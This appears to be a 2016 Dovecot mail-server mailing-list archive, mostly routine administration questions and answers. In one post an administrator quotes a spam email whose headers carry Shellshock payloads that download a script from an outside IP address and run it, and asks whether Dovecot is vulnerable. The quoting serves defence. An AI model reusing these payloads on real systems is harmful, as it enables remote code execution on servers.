Date: Wed, 27 Jan 2016 22:55:01 +0100 Subject: Disable Client Certificate Authentication for Unencrypted Connections? In-Reply-To: <369CB6E7-81BD-4872-AE72-D71A7CEC48CD@haravikk.me> References: <369CB6E7-81BD-4872-AE72-D71A7CEC48CD@haravikk.me> Message-ID: <3ABCC028-7102-4223-98DD-0973F34774A1@skynet.be> > Le 25 janv. 2016 ? 13:02, Haravikk a ?crit : > > [?] > > Since dovecot is also providing authentication to postfix I?ve already created an exemption from the client certificate requirement for SMTP connections by doing the following: > > protocol !smtp { > ssl_ca = ssl_verify_client_cert = yes > auth_ssl_require_client_cert = yes > } > > However, I?m not sure how to do the same thing for unencrypted IMAP connections. Is there a way that I can enable client certificate support for only IMAP port 993, leaving port 143 to handle regular unencrypted IMAP with a username and password? I?ve already added the local network to the trusted networks list, so that Roundcube can use plaintext authentication, can I limit client certificate support in a similar way? Hello Haravikk, Perhaps could you try to devise an exception based on one (or more) "remote" section(s), as in: remote ip.of.webmail.server { ssl_verify_client_cert = no [other settings, if needed] } But I guess you would need to combine this with inner protocol blocks, and probably to replace the "protocol !smtp" block with less general settings. HTH, Axel From louisk at cryptomonkeys.org Wed Jan 27 22:22:11 2016 From: louisk at cryptomonkeys.org (Louis Kowolowski) Date: Wed, 27 Jan 2016 14:22:11 -0800 Subject: is dovecot vulnerable to this kind of attack? In-Reply-To: <56A93A00.8050109@uni-x.org> References: <56A93A00.8050109@uni-x.org> Message-ID: > > On Jan 27, 2016, at 1:43 PM, Alexander Dalloz wrote: > > Am 27.01.2016 um 21:10 schrieb Louis Kowolowski: >> I found an interesting email that got caught in my spam quarantine. I?m wondering if dovecot is vulnerable to this kind of code execution (I?m aware that other components could be vulnerable, but this question is specifically targeting dovecot). >> >> The idea is to insert shell commands into various header fields that would get executed as part of the message processing/delivery. >> >> Examples include: >> >> From: () {:;};/bin/sh -c 'cd /tmp;curl -sO 62.75.175.145/ex.sh;lwp-download http: //62.75.175.145/ex.sh at nes.txt.com;, >> wget at nes.txt.com, 62.75.175.145/ex.sh at nes.txt.com;, >> fetch at nes.txt.com, 62.75.175.145/ex.sh at nes.txt.com;, sh at nes.txt.com, >> ex.sh at nes.txt.com;, rm at nes.txt.com, -fr at nes.txt.com, >> ex.*'@nes.txt.com, &@nes.txt.com; >> >> Subject:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; >> >> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; >> >> Message-ID:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 62.75.175.145/ex.sh;lwp-download http://62.75.175.145/ex.sh;wget 62.75.175.145/ex.sh;fetch 62.75.175.145/ex.sh;sh ex.sh;rm -fr ex.*' &; >> >> The full message, should it be of interest, can be found here: >> >> https://dl.dropboxusercontent.com/u/17066730/interesting%20email.txt >> >> Thank you! >> -- >> Louis Kowolowski louisk at cryptomonkeys.org >> Cryptomonkeys: http://www.cryptomonkeys.com/ >> >> Making life more interesting for people since 1977 > > Where had you been in 2014 when shellshock had been the big buzz? > The system in question doesn?t have bash, and I?d already verified none of the other components were vulnerable. When I ran across this, I realized I hadn?t checked to ensure dovecot properly escaped things. -- Louis Kowolowski louisk at cryptomonkeys.org Cryptomonkeys: http://www.cryptomonkeys.com/ Making life more interesting for people since 1977 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 801 bytes Desc: Message signed with OpenPGP using GPGMail URL: From f0andrey at gmail.com Thu Jan 28 10:35:08 2016 From: f0andrey at gmail.com (Andrey Fesenko) Date: Thu, 28 Jan 2016 13:35:08 +0300 Subject: Dovecot (director, lmtp) IPv4/IPv6? Message-ID: Hello, I'm build system with two director/proxy and dual stack network (or IPv6-only local services) http://wiki2.dovecot.org/Director say "This also means that a single director ring must use either IPv4 or IPv6 addresses, but not both at the same time." OK All servers have 2 interface (public and local network), and all dual stack IPv4/IPv6, imap/pop (mail) and lmtp (mx) proxy run in dedicated server. If network IPv4-only this work fine IPv6-only or IPv4/IPv6 configs not work (on mail director) dovecot-2.2.10-5.el7, CentOS Linux release 7.2.1511 (Core) My configs contain Directors listen = IPv4-public1, IPv4-local1, IPv6-public1, IPv6-local1 director_servers = IPv6-local1 IPv6-local2 director_mail_servers = IPv4-public3 IPv4-local3 IPv6-public3 IPv6-local3 service lmtp { client_limit = 5 executable = lmtp -L idle_kill = 0 process_limit = 0 process_min_avail = 0 protocol = lmtp service_count = 0 inet_listener lmtp { address = IPv6-local1 IPv4-local1 port = 24 } } # 20-lmtp lmtp_proxy = yes service director { unix_listener login/director { mode = 0666 } fifo_listener login/proxy-notify { mode = 0600 } unix_listener director-userdb { mode = 0600 } inet_listener { address = IPv6-local1 port = 9090 } } Without line "address =" in service, all services start all listen. If director contain service imap-login { executable = imap-login director idle_kill = 10 secs inet_listener imap { port = 143 } process_limit = 400 process_min_avail = 10 service_count = 0 vsz_limit = 512 M } log after start server # systemctl status dovecot ? dovecot.service - Dovecot IMAP/POP3 email server Loaded: loaded (/usr/lib/systemd/system/dovecot.service; enabled; vendor preset: disabled) Active: active (running) since Thu 2016-01-28 13:12:49 MSK; 5s ago Process: 11111 ExecStartPre=/usr/libexec/dovecot/prestartscript (code=exited, status=0/SUCCESS) Main PID: 11114 (dovecot) CGroup: /system.slice/dovecot.service ??11114 /usr/sbin/dovecot -F ??11116 dovecot-director/imap-login director ??11117 dovecot-director/anvil [10 connections] ??11118 dovecot-director/log ??11120 dovecot-director/imap-login director ??11121 dovecot-director/imap-login director ??11122 dovecot-director/imap-login director ??11123 dovecot-director/imap-login director ??11124 dovecot-director/imap-login director ??11125 dovecot-director/imap-login director ??11126 dovecot-director/imap-login director ??11127 dovecot-director/imap-login director ??11128 dovecot-director/imap-login director ??11129 dovecot-director/config Jan 28 13:12:49 mail systemd[1]: Starting Dovecot IMAP/POP3 email server... Jan 28 13:12:49 mail systemd[1]: Started Dovecot IMAP/POP3 email server. Jan 28 13:12:49 mail dovecot[11114]: master: Dovecot v2.2.10 starting up for imap, pop3 (core dumps disabled) Jan 28 13:12:49 mail dovecot[11114]: master: Error: service(director): command startup failed, throttling for 2 secs Jan 28 13:12:49 mail dovecot[11118]: director: Fatal: Invalid director port in IPv6-local1 Jan 28 13:12:54 mail dovecot[11118]: director: Fatal: Invalid director port in IPv6-local1 Jan 28 13:12:54 mail dovecot[11114]: master: Error: service(director): command startup failed, throttling for 4 secs # systemctl status dovecot ? dovecot.service - Dovecot IMAP/POP3 email server Loaded: loaded (/usr/lib/systemd/system/dovecot.service; enabled; vendor preset: disabled) Active: active (running) since Thu 2016-01-28 13:05:52 MSK; 10min ago Process: 10232 ExecStartPre=/usr/libexec/dovecot/prestartscript (code=exited, status=0/SUCCESS) Main PID: 10235 (dovecot) CGroup: /system.slice/dovecot.service ??10235 /usr/sbin/dovecot -F ??10237 dovecot-proxy/anvil [0 connections] ??10238 dovecot-proxy/log Jan 28 13:05:52 mx systemd[1]: Starting Dovecot IMAP/POP3 email server... Jan 28 13:05:52 mx systemd[1]: Started Dovecot IMAP/POP3 email server. Jan 28 13:05:52 mx dovecot[10235]: master: Dovecot v2.2.10 starting up for lmtp (core dumps disabled) Jan 28 13:06:18 mx dovecot[10238]: director: Fatal: Invalid director port in IPv6-local1 Jan 28 13:06:18 mx dovecot[10235]: master: Error: service(director): command startup failed, throttling for 2 secs Jan 28 13:06:18 mx dovecot[10250]: lmtp(10250): Error: passdb lookup(mailadm at mx): Disconnected unexpectedly Jan 28 13:06:20 mx dovecot[10238]: director: Fatal: Invalid director port in IPv6-local1 From f0andrey at gmail.com Thu Jan 28 11:49:35 2016 From: f0andrey at gmail.com (Andrey Fesenko) Date: Thu, 28 Jan 2016 14:49:35 +0300 Subject: Dovecot LDAP host - hostip resolution and alternative Message-ID: dovecot-2.2.10-5.el7, CentOS Linux release 7.2.1511 (Core) Users stored in LDAP, backend name set his hostname (need for TLS on backend) auth: Debug: passdb out: PASS 1 user=mail proxy=yes host=backend starttls=yes hostip=IPv6-public how algorithm choice IP for hostip, and whether it is possible to implement it repeated request? Now I'm understand the following algorithm, DNS IPv6, /etc/hosts IPv4 single not alternative resolution. If my backend have only local address this FAIL From p.heinlein at heinlein-support.de Thu Jan 28 11:13:08 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Thu, 28 Jan 2016 12:13:08 +0100 Subject: segfaults with Dovecot 2.2.21 In-Reply-To: <1A3E7605-5EFC-4298-849E-BFEAB1FE26F3@iki.fi> References: <56A15643.2030506@heinlein-support.de> <56A20633.3050103@heinlein-support.de> <56A229A0.4080306@heinlein-support.de> <1A3E7605-5EFC-4298-849E-BFEAB1FE26F3@iki.fi> Message-ID: <56A9F7C4.5020805@heinlein-support.de> Am 25.01.2016 um 16:42 schrieb Timo Sirainen: > Fixed: https://github.com/dovecot/core/commit/759a60c896270a74ef4a94ad348fe3722f183608 Yes, this patch was helpful. Thanks! Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From dovecot at haravikk.me Thu Jan 28 15:51:18 2016 From: dovecot at haravikk.me (Haravikk) Date: Thu, 28 Jan 2016 15:51:18 +0000 Subject: Setting Recent Flag on New Messages? Message-ID: So I?m looking at setting up some house-keeping for my dovecot mailboxes, specifically deleting messages in trash, spam etc., by deleting Seen messages older than X days. In order to protect against the edge case of a user reading a message right before the deletion task however I?d like to do something like the following: doveadm expunge -A OLD SEEN BEFORE 7d MAILBOX Trash doveadm flags -A remove '\Recent' SEEN BEFORE 7d MAILBOX Trash (except I?m actually doing this per-user with a script and per-user settings for flexibility, but you get the idea) Basically the expunge step only deletes messages without the Recent flag (and which haven?t been marked as unseen again). It then removes this flag from messages which have been seen, so that they will be deleted next time the expunge command runs. In other words, if this command runs once a day, there will be a minimum delay of 24 hours between a message being seen, and then being deleted. However I can?t for the life of me figure out how to set the Recent flag except via doveadm flags. While I could periodically run doveadm -A flags add ?\Recent? SEEN or such this doesn?t seem like a great way to do it (adding the flag after the messages are stored), really I?d rather do it as they arrive. I?ve tried sieve, but it can?t set this flag. Have I managed to completely miss an option for setting this when new messages arrive? From rs at sys4.de Thu Jan 28 16:55:02 2016 From: rs at sys4.de (Robert Schetterer) Date: Thu, 28 Jan 2016 17:55:02 +0100 Subject: Setting Recent Flag on New Messages? In-Reply-To: References: Message-ID: <56AA47E6.2070303@sys4.de> Am 28.01.2016 um 16:51 schrieb Haravikk: > I?ve tried sieve, but it can?t set this flag. imapflags muss be added in 90-sieve.conf like sieve_extensions = +notify +imapflags +editheader from short sight on https://tools.ietf.org/html/rfc5232 i found no reason why it shouldnt work, but Stephan Bosch should be the best man to answer it Best Regards MfG Robert Schetterer -- [*] sys4 AG http://sys4.de, +49 (89) 30 90 46 64 Franziskanerstra?e 15, 81669 M?nchen Sitz der Gesellschaft: M?nchen, Amtsgericht M?nchen: HRB 199263 Vorstand: Patrick Ben Koetter, Marc Schiffbauer Aufsichtsratsvorsitzender: Florian Kirstein From jk at ucls.uchicago.edu Thu Jan 28 17:23:45 2016 From: jk at ucls.uchicago.edu (John Krug) Date: Thu, 28 Jan 2016 11:23:45 -0600 Subject: Re-starting replication after a long disconnect Message-ID: <61F56648-1945-41F5-B543-59CCEDD2DA80@ucls.uchicago.edu> Using Dovecot 2.2.15.8 We use dsync as shown at http://wiki.dovecot.org/Replication to have a second copy of our mail store. Users connect to one server and the other is considered a secondary, and is there ?just in case?. If one-way backup/sync would make more sense, I would consider that, but at the time we set it up (October 2013), I recall there was some issue with one-way not being as reliable. We had some problems with the secondary mail server and had to take it off line for while. Now that the mail on that server is stale, what is the best way of starting over? When I simply turned it back on after a lengthy break (weeks), some users were reporting deleted messages showing up in their inboxes. I know dsync is master/master and uses index files, but I am not certain of the details and whether this behavior is completely unexpected or not. The laundry list: What are the f and R flags for sync? http://wiki2.dovecot.org/Tools/Doveadm/Sync Use doveadm backup to get the initial data over to the seconday? Can the server be in use while I do backup? Do I need to wipe the secondary and start over? Thanks ! -JK ----------------------------------------------------------------------- John "JK" Krug System Administrator The University of Chicago | Laboratory Schools 1362 East 59th Street | Chicago, IL 60637 Phone: (773) 834-4476 jk at ucls.uchicago.edu | http://helpdesk.ucls.uchicago.edu _______________________________________________ From aba at sundown.cz Thu Jan 28 22:02:59 2016 From: aba at sundown.cz (Petr Bousek) Date: Thu, 28 Jan 2016 23:02:59 +0100 Subject: Maildir to mdbox conersion size issue In-Reply-To: <56A929C3.1000202@sundown.cz> References: <56A929C3.1000202@sundown.cz> Message-ID: <56AA9013.7070801@sundown.cz> I have some new info: the original Maildir size was 24GB after conversion to mdbox it was 48GB today I tried to convert it back to Maildir and it was 39GB So what's wrong? Zlib wasn't used in any step. Petr On 27.1.2016 21:34, Petr Bousek wrote: > Hello, > > I have issue with dovecot 2.2.13 > > I want to change all Maildirs to mdbox format and I do it per partes, > so I change mail_location for user (in sql), than I use doveadm sync > -u user path_to_maildir and everything works mostly fine. > > But now I found that when I migrate quite huge Maildir (about 24G of > mails) to mdbox, after sync the final mdbox is twice as big as source > Maildir (48GB). I tried to find duplicities, but didn't find any. > > Is there any reason why mdbox consume so much data? Or I do something > wrong? > > Does somebody have same experience? > > Thanks > > Petr From dovecot at haravikk.me Thu Jan 28 22:19:36 2016 From: dovecot at haravikk.me (Haravikk) Date: Thu, 28 Jan 2016 22:19:36 +0000 Subject: Setting Recent Flag on New Messages? In-Reply-To: <56AA47E6.2070303@sys4.de> References: <56AA47E6.2070303@sys4.de> Message-ID: <8B7D772D-B646-40BA-BE73-3508E2F5DE5D@haravikk.me> > On 28 Jan 2016, at 16:55, Robert Schetterer wrote: > > Am 28.01.2016 um 16:51 schrieb Haravikk: >> I?ve tried sieve, but it can?t set this flag. > > imapflags muss be added in 90-sieve.conf Oh I can set other flags, but \Recent seems to be specifically disallowed in the specification that you linked to: "Note that it is not possible to use this extension to set or clear the \Recent flag or any other special system flag that is not settable in [IMAP].? Or does the deprecated imapflags allow it where imap4flags does not? It doesn?t seem like I should really have to rely on a deprecated sieve extension though. From tss at iki.fi Thu Jan 28 22:59:21 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 29 Jan 2016 00:59:21 +0200 Subject: Maildir to mdbox conersion size issue In-Reply-To: <56AA9013.7070801@sundown.cz> References: <56A929C3.1000202@sundown.cz> <56AA9013.7070801@sundown.cz> Message-ID: <90965E6B-8EC2-4F57-9DDF-D61B7F2FA256@iki.fi> Same mail existed in multiple folders (was copied). dsync duplicates the mails by default. You could deduplicate with -a parameter: https://github.com/dovecot/core/commit/70df8f39fb3db7c49b18c855178f8172176a037a > On 29 Jan 2016, at 00:02, Petr Bousek wrote: > > I have some new info: > > the original Maildir size was 24GB > > after conversion to mdbox it was 48GB > > today I tried to convert it back to Maildir and it was 39GB > > So what's wrong? > > Zlib wasn't used in any step. > > Petr > > On 27.1.2016 21:34, Petr Bousek wrote: >> Hello, >> >> I have issue with dovecot 2.2.13 >> >> I want to change all Maildirs to mdbox format and I do it per partes, so I change mail_location for user (in sql), than I use doveadm sync -u user path_to_maildir and everything works mostly fine. >> >> But now I found that when I migrate quite huge Maildir (about 24G of mails) to mdbox, after sync the final mdbox is twice as big as source Maildir (48GB). I tried to find duplicities, but didn't find any. >> >> Is there any reason why mdbox consume so much data? Or I do something wrong? >> >> Does somebody have same experience? >> >> Thanks >> >> Petr From dovecot at haravikk.me Fri Jan 29 11:53:11 2016 From: dovecot at haravikk.me (Haravikk) Date: Fri, 29 Jan 2016 11:53:11 +0000 Subject: Correct Way to Run expunge for All? Message-ID: So as part of my daily mailbox maintenance I have the following command: doveadm expunge -A DELETED i.e- I?m only expunging messages that have been specifically marked as deleted. I also only do this *after* running doveadm purge, as this means that there is at least a 24 hour window between a message being marked as deleted, and it being gone forever. However I get the following error message: Fatal: expunge: To avoid accidents, search query must contain MAILBOX in all search branches While I can see the logic in this, it isn?t an accidental use of this command, so who do I force it to proceed? Going forward I?d like to recommend that expunge -A DELETED should be allowed, as it doesn?t seem like an especially dangerous form of the command, particularly with mdboxes where the messages won?t be removed until the purge step. Either that or there should be a flag to force the command when you know it isn?t an accident; anyone adding this to all their queries deserves the damage they inflict =) From dovecot at haravikk.me Fri Jan 29 13:00:57 2016 From: dovecot at haravikk.me (Haravikk) Date: Fri, 29 Jan 2016 13:00:57 +0000 Subject: Disable Client Certificate Authentication for Unencrypted Connections? In-Reply-To: <3ABCC028-7102-4223-98DD-0973F34774A1@skynet.be> References: <369CB6E7-81BD-4872-AE72-D71A7CEC48CD@haravikk.me> <3ABCC028-7102-4223-98DD-0973F34774A1@skynet.be> Message-ID: <2D13A4B1-5F8C-4CAD-98E8-A708C2402999@haravikk.me> > On 27 Jan 2016, at 21:55, Axel Luttgens wrote: > > Hello Haravikk, > > Perhaps could you try to devise an exception based on one (or more) "remote" section(s), as in: > > remote ip.of.webmail.server { > ssl_verify_client_cert = no > [other settings, if needed] > } > > But I guess you would need to combine this with inner protocol blocks, and probably to replace the "protocol !smtp" block with less general settings. > > HTH, > Axel Thanks for the suggestion! Unfortunately the problem seems to be auth_ssl_require_client_cert; it can only be added to protocol blocks not to local or remote ones. Turning off ssl_verify_client_cert doesn?t seem to prevent dovecot from requiring a certificate if auth_ssl_require_client_cert is enabled (it may even force ssl_verify_client_cert to on implicitly, I?m not sure). It?s annoying because at present it seems like my only option would be to limit client certificates to POP3 and use that in my mail clients, allowing me to disable client certificates for IMAP to keep it free for Roundcube to use exclusively, but that?s not really an option. From gilles.chauvin at univ-rouen.fr Fri Jan 29 14:04:29 2016 From: gilles.chauvin at univ-rouen.fr (Gilles Chauvin) Date: Fri, 29 Jan 2016 15:04:29 +0100 Subject: Correct Way to Run expunge for All? In-Reply-To: References: Message-ID: <56AB716D.4060203@univ-rouen.fr> Hello, On 29/01/2016 12:53, Haravikk wrote: > Fatal: expunge: To avoid accidents, search query must contain MAILBOX in all search branches > > While I can see the logic in this, it isn?t an accidental use of this command, so who do I force it to proceed? > What about this command ? ? doveadm expunge -A DELETED MAILBOX '*' Greetings, Gilles. -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 3086 bytes Desc: S/MIME Cryptographic Signature URL: From tss at iki.fi Fri Jan 29 14:29:48 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 29 Jan 2016 16:29:48 +0200 Subject: Setting Recent Flag on New Messages? In-Reply-To: References: Message-ID: <778A0E56-8DF4-4933-A23A-FBFA663100F5@iki.fi> > On 28 Jan 2016, at 17:51, Haravikk wrote: > > So I?m looking at setting up some house-keeping for my dovecot mailboxes, specifically deleting messages in trash, spam etc., by deleting Seen messages older than X days. > > In order to protect against the edge case of a user reading a message right before the deletion task however I?d like to do something like the following: > > doveadm expunge -A OLD SEEN BEFORE 7d MAILBOX Trash > doveadm flags -A remove '\Recent' SEEN BEFORE 7d MAILBOX Trash > (except I?m actually doing this per-user with a script and per-user settings for flexibility, but you get the idea) > > Basically the expunge step only deletes messages without the Recent flag (and which haven?t been marked as unseen again). It then removes this flag from messages which have been seen, so that they will be deleted next time the expunge command runs. In other words, if this command runs once a day, there will be a minimum delay of 24 hours between a message being seen, and then being deleted. > > However I can?t for the life of me figure out how to set the Recent flag except via doveadm flags. While I could periodically run doveadm -A flags add ?\Recent? SEEN or such this doesn?t seem like a great way to do it (adding the flag after the messages are stored), really I?d rather do it as they arrive. I?ve tried sieve, but it can?t set this flag. > > Have I managed to completely miss an option for setting this when new messages arrive? \Recent flag is special and you can't add/remove it. It's not even internally stored like regular flags. I think what you want instead is: doveadm expunge -A old seen savedbefore 7d mailbox Trash The savedbefore timestamp is updated whenever a mail is added to Trash. From tss at iki.fi Fri Jan 29 14:38:03 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 29 Jan 2016 16:38:03 +0200 Subject: Dovecot (director, lmtp) IPv4/IPv6? In-Reply-To: References: Message-ID: On 28 Jan 2016, at 12:35, Andrey Fesenko wrote: > > Jan 28 13:12:49 mail dovecot[11118]: director: Fatal: Invalid director > port in IPv6-local1 Oh, you're not actually using "IPv6-local1" here but the actual IP. That confused me for a while how this error could happen. Anyway that part of the code attempts to find :port from the string. So you have two possibilities: a) Don't define IPv6 address, but a hostname and in /etc/hosts map it into the actual IPv6 address b) Append :port after the address (it'll look ugly/confusing, but should work for now - maybe in future it gets changed though) From tss at iki.fi Fri Jan 29 14:41:48 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 29 Jan 2016 16:41:48 +0200 Subject: Can you "doveadm search" with mailbox location instead of a user (-u option)? In-Reply-To: <56A8CBE1.2020303@netcologne.de> References: <56A8CBE1.2020303@netcologne.de> Message-ID: <1F74CAD1-F3AD-4CF1-A25C-1B883131FADC@iki.fi> > On 27 Jan 2016, at 15:53, Christian Rohmann wrote: > > Hey dovecot-users! > > > doveadm import offers to use i.e. a maildir as source and then import > into a users mailbox referenced via "-u" option. If one wants to import > only certain emails from the source a search-query can be given as well. Yes, because import is importing mails from one location to another. > I was wondering if doveadm search also does offer to search a mailbox > referenced by filesystem path i.e. Whereas search uses only one location. > doveadm search maildir:/srv/mailboxes/example.com/mailbox123 NEW > > > Maybe a fixed mailbox location via "-o > mailbox_location=maildir:/srv/mailboxes/example.com/mailbox123" does > work, but then it's rather a side effect as one needs to define a user > via "-u" parameter anyways. You can use: doveadm -o mail=maildir:/srv/mailboxes/example.com/mailbox123 search new You don't actually have to use the -u parameter, although doveadm may be using the wrong UID/GID/home then. From f0andrey at gmail.com Fri Jan 29 14:51:53 2016 From: f0andrey at gmail.com (Andrey Fesenko) Date: Fri, 29 Jan 2016 17:51:53 +0300 Subject: Dovecot (director, lmtp) IPv4/IPv6? In-Reply-To: References: Message-ID: On Fri, Jan 29, 2016 at 5:38 PM, Timo Sirainen wrote: > On 28 Jan 2016, at 12:35, Andrey Fesenko wrote: >> >> Jan 28 13:12:49 mail dovecot[11118]: director: Fatal: Invalid director >> port in IPv6-local1 > > b) Append :port after the address (it'll look ugly/confusing, but should work for now - maybe in future it gets changed though) > What format dovecot expects to receive port? Colon is used to separate parts of the address, dovecot accept any format [IPv6-local1]:port ? From tss at iki.fi Fri Jan 29 15:02:20 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 29 Jan 2016 17:02:20 +0200 Subject: Dovecot (director, lmtp) IPv4/IPv6? In-Reply-To: References: Message-ID: <0B14560D-82BF-4019-BF8F-AB987028B2BC@iki.fi> > On 29 Jan 2016, at 16:51, Andrey Fesenko wrote: > > On Fri, Jan 29, 2016 at 5:38 PM, Timo Sirainen wrote: >> On 28 Jan 2016, at 12:35, Andrey Fesenko wrote: >>> >>> Jan 28 13:12:49 mail dovecot[11118]: director: Fatal: Invalid director >>> port in IPv6-local1 >> >> b) Append :port after the address (it'll look ugly/confusing, but should work for now - maybe in future it gets changed though) >> > > What format dovecot expects to receive port? Colon is used to separate > parts of the address, dovecot accept any format [IPv6-local1]:port ? That actually works, but you'd need v2.2.20+ for that. With your v2.2.10 you'd have to use the confusing format of IPv6-local1:port without []. From e-mail at haravikk.me Fri Jan 29 15:09:05 2016 From: e-mail at haravikk.me (Haravikk) Date: Fri, 29 Jan 2016 15:09:05 +0000 Subject: Setting Recent Flag on New Messages? In-Reply-To: <778A0E56-8DF4-4933-A23A-FBFA663100F5@iki.fi> References: <778A0E56-8DF4-4933-A23A-FBFA663100F5@iki.fi> Message-ID: <3D940642-808A-4775-9EC1-7DF89667AA23@haravikk.me> > On 29 Jan 2016, at 14:29, Timo Sirainen wrote: > > \Recent flag is special and you can't add/remove it. It's not even internally stored like regular flags. Are you certain? The following commands seem to work just fine: doveadm flags add -A ?\Recent? OLD UNSEEN doveadm search -A NEW Before I ran the first command, the second wouldn?t return anything, so \Recent does seem to be set via doveadm flags, doveadm fetch flags also seems to confirm this. > I think what you want instead is: > > doveadm expunge -A old seen savedbefore 7d mailbox Trash While you?re right that I should probably be using saved before, I?m trying to find an alternative to this specific command because it seems like it would be possible for a message that?s 7 days old to potentially to be opened by the user such that is flagged as seen, but is actually still being read when the command is run, allowing it to be expunged before the user has a chance to do anything with it. Or is the saved before value updated when flags are changed? -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2475 bytes Desc: not available URL: From tss at iki.fi Fri Jan 29 19:57:49 2016 From: tss at iki.fi (Timo Sirainen) Date: Fri, 29 Jan 2016 21:57:49 +0200 Subject: Setting Recent Flag on New Messages? In-Reply-To: <3D940642-808A-4775-9EC1-7DF89667AA23@haravikk.me> References: <778A0E56-8DF4-4933-A23A-FBFA663100F5@iki.fi> <3D940642-808A-4775-9EC1-7DF89667AA23@haravikk.me> Message-ID: <3570309F-99F3-404D-89F7-414684CD96A6@iki.fi> > On 29 Jan 2016, at 17:09, Haravikk wrote: > > >> On 29 Jan 2016, at 14:29, Timo Sirainen wrote: >> >> \Recent flag is special and you can't add/remove it. It's not even internally stored like regular flags. > > Are you certain? The following commands seem to work just fine: > > doveadm flags add -A ?\Recent? OLD UNSEEN > doveadm search -A NEW > > Before I ran the first command, the second wouldn?t return anything, so \Recent does seem to be set via doveadm flags, doveadm fetch flags also seems to confirm this. I don't know how that would be possible. >> I think what you want instead is: >> >> doveadm expunge -A old seen savedbefore 7d mailbox Trash > > While you?re right that I should probably be using saved before, I?m trying to find an alternative to this specific command because it seems like it would be possible for a message that?s 7 days old to potentially to be opened by the user such that is flagged as seen, but is actually still being read when the command is run, allowing it to be expunged before the user has a chance to do anything with it. Or is the saved before value updated when flags are changed? There are no timestamps that are updated when a message flags are changed. I suppose if you have a nightly cronjob you could run: doveadm expunge -A keyword seen-yesterday mailbox Trash doveadm flags add -A 'seen-yesterday' seen savedbefore 7d mailbox Trash So it guarantees that the \Seen flag was added at least the day before. From marklittle at koallo.com Fri Jan 29 21:16:59 2016 From: marklittle at koallo.com (Mark Little) Date: Fri, 29 Jan 2016 16:16:59 -0500 Subject: dsync issues due to Prefix =?UTF-8?Q?difference=3F?= Message-ID: <720942e870f0a0a762ad972d06c7e70f@koallo.com> Hi everyone, I'm hoping I am just missing something obvious - but I cannot seem to get a one-way migration dsync working between two Dovecot servers because the Prefix configuration is different. I am doing a migration from our old Dovecot servers to some new cPanel based ones. Source: 2.2.15 Dest: 2.2.21 Here is the debug output for the sync: doveadm(root): Debug: Loading modules from directory: /usr/lib/dovecot/modules/doveadm doveadm(root): Debug: Module loaded: /usr/lib/dovecot/modules/doveadm/lib10_doveadm_sieve_plugin.so doveadm(testuser at example.ca): Debug: Effective uid=1322, gid=1322, home=/khstor3/khmail-mailboxes/l/li/example.ca/testuser doveadm(testuser at example.ca): Debug: Namespace inbox: type=private, prefix=, sep=, inbox=yes, hidden=no, list=yes, subscriptions=yes location=maildir:~/Maildir doveadm(testuser at example.ca): Debug: maildir++: root=/khstor3/khmail-mailboxes/l/li/example.ca/testuser/Maildir, index=, indexpvt=, control=, inbox=/khstor3/khmail-mailboxes/l/li/example.ca/testuser/Maildir, alt= doveadm(testuser at example.ca): Debug: Namespace : Using permissions from /khstor3/khmail-mailboxes/l/li/example.ca/testuser/Maildir: mode=0777 gid=default stdin: is not a tty dsync-local(testuser at example.ca): Debug: brain M: Local mailbox tree: INBOX guid=f055ac07d79cad508a7a000075e38adc uid_validity=1353555159 uid_next=2085 subs=no last_change=0 last_subs=0 dsync-local(testuser at example.ca): Debug: brain M: Local mailbox tree: Junk guid=703a8b1d51ceab56f91e0000667eee40 uid_validity=1391566942 uid_next=1 subs=yes last_change=0 last_subs=1454100049 dsync-local(testuser at example.ca): Debug: brain M: Local mailbox tree: Trash guid=9bee9f0f2aacb65039260000b171e44d uid_validity=1353555163 uid_next=25 subs=no last_change=0 last_subs=0 dsync-local(testuser at example.ca): Debug: brain M: Local mailbox tree: Drafts guid=4d03661058a0f1524f240000e9d81ad0 uid_validity=1391566936 uid_next=1 subs=no last_change=0 last_subs=0 dsync-local(testuser at example.ca): Debug: brain M: Local mailbox tree: Sent guid=99ee9f0f2aacb65039260000b171e44d uid_validity=1353555161 uid_next=4 subs=no last_change=0 last_subs=0 dsync-local(testuser at example.ca): Debug: brain M: Remote mailbox tree: INBOX guid=6460141741cfab5643470000afb0d608 uid_validity=1454100291 uid_next=2064 subs=no last_change=0 last_subs=0 dsync-local(testuser at example.ca): Debug: brain M: Remote mailbox tree: INBOX.Trash guid=6360141741cfab5643470000afb0d608 uid_validity=1454100290 uid_next=12 subs=yes last_change=0 last_subs=1454100289 dsync-local(testuser at example.ca): Debug: brain M: Remote mailbox tree: INBOX.Sent guid=6260141741cfab5643470000afb0d608 uid_validity=1454100289 uid_next=2 subs=yes last_change=0 last_subs=1454100289 dsync-remote(testuser at example.ca): Error: Couldn't find namespace for mailbox Junk I believe the problem is because on the source we have no prefix set, but on the destination it has INBOX as the prefix. I need to use dsync because we have many POP3 clients so I need to ensure the UIDL's are copied correctly. Here is the output from 'doveconf namespace': Source: namespace inbox { disabled = no hidden = no ignore_on_failure = no inbox = yes list = yes location = mailbox Drafts { auto = subscribe driver = special_use = \Drafts } mailbox Junk { auto = subscribe driver = special_use = \Junk } mailbox Sent { auto = subscribe driver = special_use 